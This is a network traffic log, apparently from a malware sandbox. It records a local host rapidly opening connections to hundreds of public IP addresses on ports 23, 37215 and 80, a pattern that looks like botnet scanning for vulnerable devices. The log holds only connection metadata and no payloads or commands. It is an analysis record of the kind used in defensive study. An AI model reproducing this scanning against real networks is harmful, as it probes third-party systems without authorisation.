Dec 3, 2024 22:11:53.834758043 CET	8163	23	192.168.2.23	153.236.254.83
Dec 3, 2024 22:11:53.834769011 CET	8163	23	192.168.2.23	196.137.52.175
Dec 3, 2024 22:11:53.834778070 CET	8163	23	192.168.2.23	169.206.170.54
Dec 3, 2024 22:11:53.834785938 CET	8163	23	192.168.2.23	107.40.139.103
Dec 3, 2024 22:11:53.834791899 CET	8163	23	192.168.2.23	100.135.217.226
Dec 3, 2024 22:11:53.834800005 CET	8163	23	192.168.2.23	187.238.18.174
Dec 3, 2024 22:11:53.834805012 CET	8163	23	192.168.2.23	138.62.15.134
Dec 3, 2024 22:11:53.834810972 CET	8163	23	192.168.2.23	123.241.225.12
Dec 3, 2024 22:11:53.834824085 CET	8163	23	192.168.2.23	110.102.175.20
Dec 3, 2024 22:11:53.834842920 CET	8163	23	192.168.2.23	219.56.45.250
Dec 3, 2024 22:11:53.834850073 CET	8163	23	192.168.2.23	162.218.46.15
Dec 3, 2024 22:11:53.834850073 CET	8163	23	192.168.2.23	57.232.61.39
Dec 3, 2024 22:11:53.834851980 CET	8163	23	192.168.2.23	82.177.247.3
Dec 3, 2024 22:11:53.834884882 CET	8163	23	192.168.2.23	122.82.108.158
Dec 3, 2024 22:11:53.834884882 CET	8163	23	192.168.2.23	119.220.221.60
Dec 3, 2024 22:11:53.834897995 CET	8163	23	192.168.2.23	92.246.18.221
Dec 3, 2024 22:11:53.834897995 CET	8163	23	192.168.2.23	154.158.37.68
Dec 3, 2024 22:11:53.834897995 CET	8163	23	192.168.2.23	165.91.73.67
Dec 3, 2024 22:11:53.834897995 CET	8163	23	192.168.2.23	100.159.21.50
Dec 3, 2024 22:11:53.834902048 CET	8163	23	192.168.2.23	145.247.254.112
Dec 3, 2024 22:11:53.834908962 CET	8163	23	192.168.2.23	91.68.54.212
Dec 3, 2024 22:11:53.834913969 CET	8163	23	192.168.2.23	207.129.142.52
Dec 3, 2024 22:11:53.834928036 CET	8163	23	192.168.2.23	39.11.6.169
Dec 3, 2024 22:11:53.834928036 CET	8163	23	192.168.2.23	120.35.53.143
Dec 3, 2024 22:11:53.834928036 CET	8163	23	192.168.2.23	41.38.151.108
Dec 3, 2024 22:11:53.834938049 CET	8163	23	192.168.2.23	197.5.202.219
Dec 3, 2024 22:11:53.834945917 CET	8163	23	192.168.2.23	131.122.124.152
Dec 3, 2024 22:11:53.834954023 CET	8163	23	192.168.2.23	89.20.8.211
Dec 3, 2024 22:11:53.834963083 CET	8163	23	192.168.2.23	169.141.120.74
Dec 3, 2024 22:11:53.834974051 CET	8163	23	192.168.2.23	121.27.245.191
Dec 3, 2024 22:11:53.834979057 CET	8163	23	192.168.2.23	184.207.165.90
Dec 3, 2024 22:11:53.834990978 CET	8163	23	192.168.2.23	207.244.92.2
Dec 3, 2024 22:11:53.834999084 CET	8163	23	192.168.2.23	48.174.192.82
Dec 3, 2024 22:11:53.835010052 CET	8163	23	192.168.2.23	89.167.217.138
Dec 3, 2024 22:11:53.835016012 CET	8163	23	192.168.2.23	152.155.252.152
Dec 3, 2024 22:11:53.835021973 CET	8163	23	192.168.2.23	175.241.32.134
Dec 3, 2024 22:11:53.835032940 CET	8163	23	192.168.2.23	193.77.146.229
Dec 3, 2024 22:11:53.835043907 CET	8163	23	192.168.2.23	154.156.139.188
Dec 3, 2024 22:11:53.835043907 CET	8163	23	192.168.2.23	42.241.245.134
Dec 3, 2024 22:11:53.835048914 CET	8163	23	192.168.2.23	105.79.113.25
Dec 3, 2024 22:11:53.835069895 CET	8163	23	192.168.2.23	75.194.152.211
Dec 3, 2024 22:11:53.835082054 CET	8163	23	192.168.2.23	1.38.159.15
Dec 3, 2024 22:11:53.835084915 CET	8163	23	192.168.2.23	212.232.118.84
Dec 3, 2024 22:11:53.835093975 CET	8163	23	192.168.2.23	58.109.157.205
Dec 3, 2024 22:11:53.835099936 CET	8163	23	192.168.2.23	70.246.115.32
Dec 3, 2024 22:11:53.835104942 CET	8163	23	192.168.2.23	20.17.50.88
Dec 3, 2024 22:11:53.835114956 CET	8163	23	192.168.2.23	141.76.142.98
Dec 3, 2024 22:11:53.835129023 CET	8163	23	192.168.2.23	79.144.155.249
Dec 3, 2024 22:11:53.835129023 CET	8163	23	192.168.2.23	204.61.218.214
Dec 3, 2024 22:11:53.835160017 CET	8163	23	192.168.2.23	5.136.88.71
Dec 3, 2024 22:11:53.835169077 CET	8163	23	192.168.2.23	1.249.33.48
Dec 3, 2024 22:11:53.835175037 CET	8163	23	192.168.2.23	179.134.80.198
Dec 3, 2024 22:11:53.835175037 CET	8163	23	192.168.2.23	143.197.220.62
Dec 3, 2024 22:11:53.835180998 CET	8163	23	192.168.2.23	36.138.151.91
Dec 3, 2024 22:11:53.835187912 CET	8163	23	192.168.2.23	99.255.164.193
Dec 3, 2024 22:11:53.835191011 CET	8163	23	192.168.2.23	123.237.124.159
Dec 3, 2024 22:11:53.835200071 CET	8163	23	192.168.2.23	137.248.28.16
Dec 3, 2024 22:11:53.835211992 CET	8163	23	192.168.2.23	208.156.205.252
Dec 3, 2024 22:11:53.835217953 CET	8163	23	192.168.2.23	46.28.46.70
Dec 3, 2024 22:11:53.835222960 CET	8163	23	192.168.2.23	82.54.77.204
Dec 3, 2024 22:11:53.835222960 CET	8163	23	192.168.2.23	133.61.213.228
Dec 3, 2024 22:11:53.835231066 CET	8163	23	192.168.2.23	178.39.174.108
Dec 3, 2024 22:11:53.835236073 CET	8163	23	192.168.2.23	192.237.229.184
Dec 3, 2024 22:11:53.835246086 CET	8163	23	192.168.2.23	112.155.69.10
Dec 3, 2024 22:11:53.835249901 CET	8163	23	192.168.2.23	167.155.31.12
Dec 3, 2024 22:11:53.835257053 CET	8163	23	192.168.2.23	188.201.115.240
Dec 3, 2024 22:11:53.835268021 CET	8163	23	192.168.2.23	193.31.55.187
Dec 3, 2024 22:11:53.835298061 CET	8163	23	192.168.2.23	138.0.82.109
Dec 3, 2024 22:11:53.835309029 CET	8163	23	192.168.2.23	148.138.113.165
Dec 3, 2024 22:11:53.835325003 CET	8163	23	192.168.2.23	1.37.19.193
Dec 3, 2024 22:11:53.835326910 CET	8163	23	192.168.2.23	129.45.26.34
Dec 3, 2024 22:11:53.835335970 CET	8163	23	192.168.2.23	122.97.130.105
Dec 3, 2024 22:11:53.835335970 CET	8163	23	192.168.2.23	156.16.244.100
Dec 3, 2024 22:11:53.835340977 CET	8163	23	192.168.2.23	126.106.198.48
Dec 3, 2024 22:11:53.835351944 CET	8163	23	192.168.2.23	204.223.48.186
Dec 3, 2024 22:11:53.835359097 CET	8163	23	192.168.2.23	8.99.3.183
Dec 3, 2024 22:11:53.835369110 CET	8163	23	192.168.2.23	163.176.128.232
Dec 3, 2024 22:11:53.835372925 CET	8163	23	192.168.2.23	36.86.218.53
Dec 3, 2024 22:11:53.835381985 CET	8163	23	192.168.2.23	180.97.108.244
Dec 3, 2024 22:11:53.835390091 CET	8163	23	192.168.2.23	95.65.248.225
Dec 3, 2024 22:11:53.835401058 CET	8163	23	192.168.2.23	57.71.52.158
Dec 3, 2024 22:11:53.835412979 CET	8163	23	192.168.2.23	47.119.110.155
Dec 3, 2024 22:11:53.835417032 CET	8163	23	192.168.2.23	175.84.85.54
Dec 3, 2024 22:11:53.835427999 CET	8163	23	192.168.2.23	74.52.163.33
Dec 3, 2024 22:11:53.835438967 CET	8163	23	192.168.2.23	113.54.13.242
Dec 3, 2024 22:11:53.835445881 CET	8163	23	192.168.2.23	151.71.110.91
Dec 3, 2024 22:11:53.835445881 CET	8163	23	192.168.2.23	47.155.154.186
Dec 3, 2024 22:11:53.835454941 CET	8163	23	192.168.2.23	1.65.1.73
Dec 3, 2024 22:11:53.835467100 CET	8163	23	192.168.2.23	152.33.59.51
Dec 3, 2024 22:11:53.835474968 CET	8163	23	192.168.2.23	63.219.135.48
Dec 3, 2024 22:11:53.835478067 CET	8163	23	192.168.2.23	121.130.174.33
Dec 3, 2024 22:11:53.835510015 CET	8163	23	192.168.2.23	197.0.0.212
Dec 3, 2024 22:11:53.835515022 CET	8163	23	192.168.2.23	124.40.34.10
Dec 3, 2024 22:11:53.835515022 CET	8163	23	192.168.2.23	148.126.138.6
Dec 3, 2024 22:11:53.835515976 CET	8163	23	192.168.2.23	53.240.131.14
Dec 3, 2024 22:11:53.835515976 CET	8163	23	192.168.2.23	176.181.170.145
Dec 3, 2024 22:11:53.835522890 CET	8163	23	192.168.2.23	142.156.176.250
Dec 3, 2024 22:11:53.835522890 CET	8163	23	192.168.2.23	218.255.253.42
Dec 3, 2024 22:11:53.835522890 CET	8163	23	192.168.2.23	131.179.178.131
Dec 3, 2024 22:11:53.835522890 CET	8163	23	192.168.2.23	201.98.50.50
Dec 3, 2024 22:11:53.835522890 CET	8163	23	192.168.2.23	105.116.57.58
Dec 3, 2024 22:11:53.835532904 CET	8163	23	192.168.2.23	196.211.203.95
Dec 3, 2024 22:11:53.835532904 CET	8163	23	192.168.2.23	203.100.164.55
Dec 3, 2024 22:11:53.835541010 CET	8163	23	192.168.2.23	212.236.37.147
Dec 3, 2024 22:11:53.835544109 CET	8163	23	192.168.2.23	146.186.22.63
Dec 3, 2024 22:11:53.835560083 CET	8163	23	192.168.2.23	83.0.180.23
Dec 3, 2024 22:11:53.835583925 CET	8163	23	192.168.2.23	82.86.55.253
Dec 3, 2024 22:11:53.835586071 CET	8163	23	192.168.2.23	35.204.95.182
Dec 3, 2024 22:11:53.835586071 CET	8163	23	192.168.2.23	57.128.195.152
Dec 3, 2024 22:11:53.835588932 CET	8163	23	192.168.2.23	223.213.73.100
Dec 3, 2024 22:11:53.835588932 CET	8163	23	192.168.2.23	102.230.121.83
Dec 3, 2024 22:11:53.835594893 CET	8163	23	192.168.2.23	48.26.126.136
Dec 3, 2024 22:11:53.835607052 CET	8163	23	192.168.2.23	82.202.87.204
Dec 3, 2024 22:11:53.835617065 CET	8163	23	192.168.2.23	144.241.254.124
Dec 3, 2024 22:11:53.835627079 CET	8163	23	192.168.2.23	94.211.69.145
Dec 3, 2024 22:11:53.835639000 CET	8163	23	192.168.2.23	116.233.250.80
Dec 3, 2024 22:11:53.835643053 CET	8163	23	192.168.2.23	209.184.94.152
Dec 3, 2024 22:11:53.835645914 CET	80	33884	143.229.68.126	192.168.2.23
Dec 3, 2024 22:11:53.835649014 CET	8163	23	192.168.2.23	201.141.32.219
Dec 3, 2024 22:11:53.835675955 CET	8163	23	192.168.2.23	161.123.219.147
Dec 3, 2024 22:11:53.835706949 CET	8163	23	192.168.2.23	2.206.126.77
Dec 3, 2024 22:11:53.835717916 CET	8163	23	192.168.2.23	158.249.42.221
Dec 3, 2024 22:11:53.835717916 CET	8163	23	192.168.2.23	147.166.167.83
Dec 3, 2024 22:11:53.835717916 CET	8163	23	192.168.2.23	1.21.195.206
Dec 3, 2024 22:11:53.835726976 CET	8163	23	192.168.2.23	173.53.29.245
Dec 3, 2024 22:11:53.835730076 CET	8163	23	192.168.2.23	198.27.60.99
Dec 3, 2024 22:11:53.835730076 CET	8163	23	192.168.2.23	92.243.205.192
Dec 3, 2024 22:11:53.835730076 CET	8163	23	192.168.2.23	160.145.203.152
Dec 3, 2024 22:11:53.835747957 CET	8163	23	192.168.2.23	195.195.33.93
Dec 3, 2024 22:11:53.835752010 CET	8163	23	192.168.2.23	36.160.105.25
Dec 3, 2024 22:11:53.835764885 CET	8163	23	192.168.2.23	122.87.202.163
Dec 3, 2024 22:11:53.835776091 CET	8163	23	192.168.2.23	207.226.214.204
Dec 3, 2024 22:11:53.835782051 CET	8163	23	192.168.2.23	157.13.140.1
Dec 3, 2024 22:11:53.835786104 CET	8163	23	192.168.2.23	110.24.161.169
Dec 3, 2024 22:11:53.835799932 CET	8163	23	192.168.2.23	184.22.95.116
Dec 3, 2024 22:11:53.835800886 CET	8163	23	192.168.2.23	43.135.249.237
Dec 3, 2024 22:11:53.835834980 CET	8163	23	192.168.2.23	66.130.114.140
Dec 3, 2024 22:11:53.835834980 CET	8163	23	192.168.2.23	12.1.61.229
Dec 3, 2024 22:11:53.835834980 CET	8163	23	192.168.2.23	171.31.188.170
Dec 3, 2024 22:11:53.835858107 CET	8163	23	192.168.2.23	167.47.131.231
Dec 3, 2024 22:11:53.835859060 CET	8163	23	192.168.2.23	101.45.37.38
Dec 3, 2024 22:11:53.835859060 CET	8163	23	192.168.2.23	149.133.201.117
Dec 3, 2024 22:11:53.835875988 CET	8163	23	192.168.2.23	103.79.181.130
Dec 3, 2024 22:11:53.835880041 CET	8163	23	192.168.2.23	144.129.52.84
Dec 3, 2024 22:11:53.835900068 CET	8163	23	192.168.2.23	115.48.8.130
Dec 3, 2024 22:11:53.835902929 CET	8163	23	192.168.2.23	197.33.144.101
Dec 3, 2024 22:11:53.835902929 CET	8163	23	192.168.2.23	143.73.133.109
Dec 3, 2024 22:11:53.835907936 CET	8163	23	192.168.2.23	124.64.175.107
Dec 3, 2024 22:11:53.835907936 CET	8163	23	192.168.2.23	61.238.111.88
Dec 3, 2024 22:11:53.835907936 CET	8163	23	192.168.2.23	111.127.72.234
Dec 3, 2024 22:11:53.835925102 CET	8163	23	192.168.2.23	137.195.250.5
Dec 3, 2024 22:11:53.835930109 CET	8163	23	192.168.2.23	31.75.254.138
Dec 3, 2024 22:11:53.835957050 CET	8163	23	192.168.2.23	119.219.64.49
Dec 3, 2024 22:11:53.835957050 CET	8163	23	192.168.2.23	90.218.162.93
Dec 3, 2024 22:11:53.835963964 CET	8163	23	192.168.2.23	37.116.127.106
Dec 3, 2024 22:11:53.835969925 CET	8163	23	192.168.2.23	83.51.161.226
Dec 3, 2024 22:11:53.835980892 CET	8163	23	192.168.2.23	91.153.192.178
Dec 3, 2024 22:11:53.835985899 CET	8163	23	192.168.2.23	47.161.16.34
Dec 3, 2024 22:11:53.835994959 CET	8163	23	192.168.2.23	132.19.130.207
Dec 3, 2024 22:11:53.835999966 CET	8163	23	192.168.2.23	196.29.115.160
Dec 3, 2024 22:11:53.836007118 CET	8163	23	192.168.2.23	52.61.186.244
Dec 3, 2024 22:11:53.836014986 CET	8163	23	192.168.2.23	170.54.85.165
Dec 3, 2024 22:11:53.836023092 CET	8163	23	192.168.2.23	158.123.194.106
Dec 3, 2024 22:11:53.836033106 CET	8163	23	192.168.2.23	196.65.232.245
Dec 3, 2024 22:11:53.836040974 CET	8163	23	192.168.2.23	87.213.48.157
Dec 3, 2024 22:11:53.836044073 CET	8163	23	192.168.2.23	129.63.153.152
Dec 3, 2024 22:11:53.836055994 CET	8163	23	192.168.2.23	150.221.122.27
Dec 3, 2024 22:11:53.836060047 CET	8163	23	192.168.2.23	168.26.251.154
Dec 3, 2024 22:11:53.836071014 CET	8163	23	192.168.2.23	149.174.83.147
Dec 3, 2024 22:11:53.836081982 CET	8163	23	192.168.2.23	36.196.32.91
Dec 3, 2024 22:11:53.836090088 CET	8163	23	192.168.2.23	134.148.51.155
Dec 3, 2024 22:11:53.836100101 CET	8163	23	192.168.2.23	216.200.193.64
Dec 3, 2024 22:11:53.836108923 CET	8163	23	192.168.2.23	114.195.204.243
Dec 3, 2024 22:11:53.836108923 CET	8163	23	192.168.2.23	73.101.15.28
Dec 3, 2024 22:11:53.836114883 CET	8163	23	192.168.2.23	177.118.136.22
Dec 3, 2024 22:11:53.836126089 CET	8163	23	192.168.2.23	180.28.233.20
Dec 3, 2024 22:11:53.836139917 CET	8163	23	192.168.2.23	167.58.133.135
Dec 3, 2024 22:11:53.836302042 CET	8163	23	192.168.2.23	74.134.238.99
Dec 3, 2024 22:11:53.836517096 CET	50836	23	192.168.2.23	112.59.244.5
Dec 3, 2024 22:11:53.837044954 CET	57976	23	192.168.2.23	36.227.191.134
Dec 3, 2024 22:11:53.837555885 CET	38846	23	192.168.2.23	93.148.138.193
Dec 3, 2024 22:11:53.839601994 CET	80	45648	220.77.138.145	192.168.2.23
Dec 3, 2024 22:11:53.856232882 CET	80	60026	112.155.127.190	192.168.2.23
Dec 3, 2024 22:11:53.856292009 CET	60026	80	192.168.2.23	112.155.127.190
Dec 3, 2024 22:11:53.914417028 CET	80	6883	203.50.8.113	192.168.2.23
Dec 3, 2024 22:11:53.914433956 CET	80	6883	2.51.143.104	192.168.2.23
Dec 3, 2024 22:11:53.914446115 CET	80	6883	73.150.237.197	192.168.2.23
Dec 3, 2024 22:11:53.914458990 CET	80	6883	177.25.213.167	192.168.2.23
Dec 3, 2024 22:11:53.914508104 CET	6883	80	192.168.2.23	203.50.8.113
Dec 3, 2024 22:11:53.914520025 CET	6883	80	192.168.2.23	2.51.143.104
Dec 3, 2024 22:11:53.914525032 CET	6883	80	192.168.2.23	73.150.237.197
Dec 3, 2024 22:11:53.914525032 CET	6883	80	192.168.2.23	177.25.213.167
Dec 3, 2024 22:11:53.915040970 CET	80	6883	19.208.57.186	192.168.2.23
Dec 3, 2024 22:11:53.915065050 CET	80	6883	23.105.251.53	192.168.2.23
Dec 3, 2024 22:11:53.915076017 CET	80	6883	162.156.93.202	192.168.2.23
Dec 3, 2024 22:11:53.915086031 CET	80	6883	138.141.247.162	192.168.2.23
Dec 3, 2024 22:11:53.915087938 CET	6883	80	192.168.2.23	19.208.57.186
Dec 3, 2024 22:11:53.915112019 CET	80	6883	4.29.253.50	192.168.2.23
Dec 3, 2024 22:11:53.915112019 CET	6883	80	192.168.2.23	162.156.93.202
Dec 3, 2024 22:11:53.915113926 CET	6883	80	192.168.2.23	23.105.251.53
Dec 3, 2024 22:11:53.915115118 CET	6883	80	192.168.2.23	138.141.247.162
Dec 3, 2024 22:11:53.915122986 CET	80	6883	204.33.164.130	192.168.2.23
Dec 3, 2024 22:11:53.915132999 CET	80	6883	164.143.163.98	192.168.2.23
Dec 3, 2024 22:11:53.915147066 CET	80	33888	143.229.68.126	192.168.2.23
Dec 3, 2024 22:11:53.915160894 CET	6883	80	192.168.2.23	204.33.164.130
Dec 3, 2024 22:11:53.915167093 CET	80	6883	202.130.23.209	192.168.2.23
Dec 3, 2024 22:11:53.915169001 CET	6883	80	192.168.2.23	164.143.163.98
Dec 3, 2024 22:11:53.915174961 CET	6883	80	192.168.2.23	4.29.253.50
Dec 3, 2024 22:11:53.915194035 CET	80	6883	213.89.187.153	192.168.2.23
Dec 3, 2024 22:11:53.915198088 CET	33888	80	192.168.2.23	143.229.68.126
Dec 3, 2024 22:11:53.915204048 CET	80	6883	183.109.121.123	192.168.2.23
Dec 3, 2024 22:11:53.915210009 CET	6883	80	192.168.2.23	202.130.23.209
Dec 3, 2024 22:11:53.915263891 CET	6883	80	192.168.2.23	183.109.121.123
Dec 3, 2024 22:11:53.915266991 CET	6883	80	192.168.2.23	213.89.187.153
Dec 3, 2024 22:11:53.915328026 CET	80	6883	43.198.132.86	192.168.2.23
Dec 3, 2024 22:11:53.915338039 CET	80	6883	203.130.186.3	192.168.2.23
Dec 3, 2024 22:11:53.915349007 CET	80	6883	24.101.117.10	192.168.2.23
Dec 3, 2024 22:11:53.915359020 CET	80	6883	189.70.225.6	192.168.2.23
Dec 3, 2024 22:11:53.915369034 CET	80	6883	42.185.7.251	192.168.2.23
Dec 3, 2024 22:11:53.915369987 CET	6883	80	192.168.2.23	43.198.132.86
Dec 3, 2024 22:11:53.915369987 CET	6883	80	192.168.2.23	203.130.186.3
Dec 3, 2024 22:11:53.915379047 CET	80	6883	63.15.93.83	192.168.2.23
Dec 3, 2024 22:11:53.915388107 CET	6883	80	192.168.2.23	24.101.117.10
Dec 3, 2024 22:11:53.915388107 CET	6883	80	192.168.2.23	189.70.225.6
Dec 3, 2024 22:11:53.915390015 CET	80	6883	47.179.14.230	192.168.2.23
Dec 3, 2024 22:11:53.915400982 CET	80	6883	115.196.100.14	192.168.2.23
Dec 3, 2024 22:11:53.915410042 CET	80	6883	43.181.222.160	192.168.2.23
Dec 3, 2024 22:11:53.915406942 CET	6883	80	192.168.2.23	42.185.7.251
Dec 3, 2024 22:11:53.915406942 CET	6883	80	192.168.2.23	63.15.93.83
Dec 3, 2024 22:11:53.915421009 CET	80	6883	200.115.243.111	192.168.2.23
Dec 3, 2024 22:11:53.915430069 CET	6883	80	192.168.2.23	47.179.14.230
Dec 3, 2024 22:11:53.915431023 CET	80	6883	154.143.157.63	192.168.2.23
Dec 3, 2024 22:11:53.915440083 CET	80	6883	213.11.51.142	192.168.2.23
Dec 3, 2024 22:11:53.915447950 CET	6883	80	192.168.2.23	43.181.222.160
Dec 3, 2024 22:11:53.915462971 CET	6883	80	192.168.2.23	115.196.100.14
Dec 3, 2024 22:11:53.915462971 CET	6883	80	192.168.2.23	200.115.243.111
Dec 3, 2024 22:11:53.915467024 CET	6883	80	192.168.2.23	154.143.157.63
Dec 3, 2024 22:11:53.915472984 CET	6883	80	192.168.2.23	213.11.51.142
Dec 3, 2024 22:11:53.915702105 CET	80	6883	2.122.189.231	192.168.2.23
Dec 3, 2024 22:11:53.915713072 CET	80	6883	154.107.121.158	192.168.2.23
Dec 3, 2024 22:11:53.915721893 CET	80	6883	51.32.88.183	192.168.2.23
Dec 3, 2024 22:11:53.915731907 CET	80	6883	213.129.144.154	192.168.2.23
Dec 3, 2024 22:11:53.915739059 CET	6883	80	192.168.2.23	2.122.189.231
Dec 3, 2024 22:11:53.915741920 CET	80	6883	210.84.160.108	192.168.2.23
Dec 3, 2024 22:11:53.915746927 CET	6883	80	192.168.2.23	154.107.121.158
Dec 3, 2024 22:11:53.915751934 CET	80	6883	207.227.191.72	192.168.2.23
Dec 3, 2024 22:11:53.915760994 CET	80	6883	104.187.218.23	192.168.2.23
Dec 3, 2024 22:11:53.915762901 CET	6883	80	192.168.2.23	213.129.144.154
Dec 3, 2024 22:11:53.915772915 CET	6883	80	192.168.2.23	210.84.160.108
Dec 3, 2024 22:11:53.915776014 CET	6883	80	192.168.2.23	51.32.88.183
Dec 3, 2024 22:11:53.915786982 CET	6883	80	192.168.2.23	207.227.191.72
Dec 3, 2024 22:11:53.915802956 CET	6883	80	192.168.2.23	104.187.218.23
Dec 3, 2024 22:11:53.916688919 CET	80	45652	220.77.138.145	192.168.2.23
Dec 3, 2024 22:11:53.916734934 CET	45652	80	192.168.2.23	220.77.138.145
Dec 3, 2024 22:11:53.942909002 CET	23	55284	179.60.197.18	192.168.2.23
Dec 3, 2024 22:11:53.943027973 CET	55284	23	192.168.2.23	179.60.197.18
Dec 3, 2024 22:11:53.943140030 CET	55284	23	192.168.2.23	179.60.197.18
Dec 3, 2024 22:11:53.953335047 CET	23	57674	85.64.94.45	192.168.2.23
Dec 3, 2024 22:11:53.953648090 CET	23	57956	85.64.94.45	192.168.2.23
Dec 3, 2024 22:11:53.953710079 CET	57956	23	192.168.2.23	85.64.94.45
Dec 3, 2024 22:11:53.954272985 CET	23	8163	200.176.242.25	192.168.2.23
Dec 3, 2024 22:11:53.954292059 CET	23	8163	140.37.85.236	192.168.2.23
Dec 3, 2024 22:11:53.954325914 CET	8163	23	192.168.2.23	200.176.242.25
Dec 3, 2024 22:11:53.954327106 CET	8163	23	192.168.2.23	140.37.85.236
Dec 3, 2024 22:11:53.954344988 CET	23	8163	180.225.48.225	192.168.2.23
Dec 3, 2024 22:11:53.954395056 CET	8163	23	192.168.2.23	180.225.48.225
Dec 3, 2024 22:11:54.063086987 CET	23	55284	179.60.197.18	192.168.2.23
Dec 3, 2024 22:11:54.063162088 CET	55284	23	192.168.2.23	179.60.197.18
Dec 3, 2024 22:11:54.158525944 CET	57582	37215	192.168.2.23	197.115.231.209
Dec 3, 2024 22:11:54.158525944 CET	59980	37215	192.168.2.23	197.120.15.57
Dec 3, 2024 22:11:54.158525944 CET	52082	80	192.168.2.23	128.238.186.37
Dec 3, 2024 22:11:54.158528090 CET	60086	37215	192.168.2.23	156.214.207.66
Dec 3, 2024 22:11:54.158529043 CET	33058	80	192.168.2.23	168.46.253.58
Dec 3, 2024 22:11:54.158541918 CET	48038	80	192.168.2.23	104.201.153.104
Dec 3, 2024 22:11:54.158545017 CET	42414	80	192.168.2.23	156.240.241.216
Dec 3, 2024 22:11:54.158545017 CET	40350	37215	192.168.2.23	156.37.11.97
Dec 3, 2024 22:11:54.158545971 CET	41718	37215	192.168.2.23	197.138.48.81
Dec 3, 2024 22:11:54.158545971 CET	34746	37215	192.168.2.23	197.194.225.14
Dec 3, 2024 22:11:54.158559084 CET	36538	37215	192.168.2.23	156.86.224.106
Dec 3, 2024 22:11:54.158559084 CET	50072	37215	192.168.2.23	41.152.245.211
Dec 3, 2024 22:11:54.158574104 CET	40548	37215	192.168.2.23	156.124.60.241
Dec 3, 2024 22:11:54.158582926 CET	45294	80	192.168.2.23	129.161.63.20
Dec 3, 2024 22:11:54.183099031 CET	23	55284	179.60.197.18	192.168.2.23
Dec 3, 2024 22:11:54.190474987 CET	39316	37215	192.168.2.23	41.210.191.65
Dec 3, 2024 22:11:54.190490961 CET	34412	37215	192.168.2.23	156.63.198.34
Dec 3, 2024 22:11:54.190494061 CET	52468	37215	192.168.2.23	156.9.37.230
Dec 3, 2024 22:11:54.190494061 CET	58860	37215	192.168.2.23	41.44.55.171
Dec 3, 2024 22:11:54.190494061 CET	41244	37215	192.168.2.23	197.137.99.7
Dec 3, 2024 22:11:54.190493107 CET	38462	37215	192.168.2.23	41.86.39.229
Dec 3, 2024 22:11:54.190494061 CET	54076	37215	192.168.2.23	156.12.237.133
Dec 3, 2024 22:11:54.190501928 CET	41008	37215	192.168.2.23	197.90.173.218
Dec 3, 2024 22:11:54.190501928 CET	52104	37215	192.168.2.23	197.216.4.85
Dec 3, 2024 22:11:54.190502882 CET	47954	37215	192.168.2.23	41.250.32.220
Dec 3, 2024 22:11:54.190504074 CET	37068	37215	192.168.2.23	156.85.114.140
Dec 3, 2024 22:11:54.190510035 CET	43636	37215	192.168.2.23	41.244.89.175
Dec 3, 2024 22:11:54.190519094 CET	43796	37215	192.168.2.23	197.203.23.32
Dec 3, 2024 22:11:54.190526962 CET	45942	37215	192.168.2.23	197.59.17.178
Dec 3, 2024 22:11:54.190526962 CET	47764	37215	192.168.2.23	197.251.221.207
Dec 3, 2024 22:11:54.190526962 CET	57552	37215	192.168.2.23	41.135.11.62
Dec 3, 2024 22:11:54.190527916 CET	53916	37215	192.168.2.23	197.205.232.108
Dec 3, 2024 22:11:54.190537930 CET	34374	37215	192.168.2.23	156.0.99.185
Dec 3, 2024 22:11:54.190542936 CET	51778	37215	192.168.2.23	156.143.38.41
Dec 3, 2024 22:11:54.190542936 CET	41400	37215	192.168.2.23	41.116.28.129
Dec 3, 2024 22:11:54.190550089 CET	35358	37215	192.168.2.23	41.255.20.86
Dec 3, 2024 22:11:54.190552950 CET	47740	37215	192.168.2.23	41.184.3.254
Dec 3, 2024 22:11:54.190560102 CET	41542	37215	192.168.2.23	156.47.36.125
Dec 3, 2024 22:11:54.190567970 CET	53100	37215	192.168.2.23	197.223.193.153
Dec 3, 2024 22:11:54.190570116 CET	34166	37215	192.168.2.23	156.210.68.86
Dec 3, 2024 22:11:54.190574884 CET	56532	37215	192.168.2.23	156.109.62.186
Dec 3, 2024 22:11:54.190582037 CET	45622	37215	192.168.2.23	197.194.144.225
Dec 3, 2024 22:11:54.190582991 CET	36056	37215	192.168.2.23	156.183.41.159
Dec 3, 2024 22:11:54.190592051 CET	35660	37215	192.168.2.23	41.97.159.163
Dec 3, 2024 22:11:54.190592051 CET	38252	37215	192.168.2.23	156.64.61.35
Dec 3, 2024 22:11:54.190606117 CET	36672	37215	192.168.2.23	156.114.213.59
Dec 3, 2024 22:11:54.190606117 CET	57158	37215	192.168.2.23	197.100.146.120
Dec 3, 2024 22:11:54.190609932 CET	40130	37215	192.168.2.23	41.80.180.178
Dec 3, 2024 22:11:54.190619946 CET	33738	37215	192.168.2.23	156.188.165.91
Dec 3, 2024 22:11:54.190622091 CET	55612	37215	192.168.2.23	197.132.47.59
Dec 3, 2024 22:11:54.190632105 CET	48816	37215	192.168.2.23	197.149.109.250
Dec 3, 2024 22:11:54.222469091 CET	57696	37215	192.168.2.23	41.182.215.161
Dec 3, 2024 22:11:54.279182911 CET	37215	57582	197.115.231.209	192.168.2.23
Dec 3, 2024 22:11:54.279249907 CET	37215	59980	197.120.15.57	192.168.2.23
Dec 3, 2024 22:11:54.279259920 CET	80	52082	128.238.186.37	192.168.2.23
Dec 3, 2024 22:11:54.279268980 CET	80	48038	104.201.153.104	192.168.2.23
Dec 3, 2024 22:11:54.279304028 CET	37215	36538	156.86.224.106	192.168.2.23
Dec 3, 2024 22:11:54.279320955 CET	80	42414	156.240.241.216	192.168.2.23
Dec 3, 2024 22:11:54.279339075 CET	37215	50072	41.152.245.211	192.168.2.23
Dec 3, 2024 22:11:54.279373884 CET	57582	37215	192.168.2.23	197.115.231.209
Dec 3, 2024 22:11:54.279373884 CET	37215	60086	156.214.207.66	192.168.2.23
Dec 3, 2024 22:11:54.279377937 CET	52082	80	192.168.2.23	128.238.186.37
Dec 3, 2024 22:11:54.279387951 CET	59980	37215	192.168.2.23	197.120.15.57
Dec 3, 2024 22:11:54.279390097 CET	37215	40350	156.37.11.97	192.168.2.23
Dec 3, 2024 22:11:54.279393911 CET	48038	80	192.168.2.23	104.201.153.104
Dec 3, 2024 22:11:54.279402018 CET	36538	37215	192.168.2.23	156.86.224.106
Dec 3, 2024 22:11:54.279402018 CET	42414	80	192.168.2.23	156.240.241.216
Dec 3, 2024 22:11:54.279408932 CET	50072	37215	192.168.2.23	41.152.245.211
Dec 3, 2024 22:11:54.279412031 CET	60086	37215	192.168.2.23	156.214.207.66
Dec 3, 2024 22:11:54.279428959 CET	40350	37215	192.168.2.23	156.37.11.97
Dec 3, 2024 22:11:54.279472113 CET	37215	41718	197.138.48.81	192.168.2.23
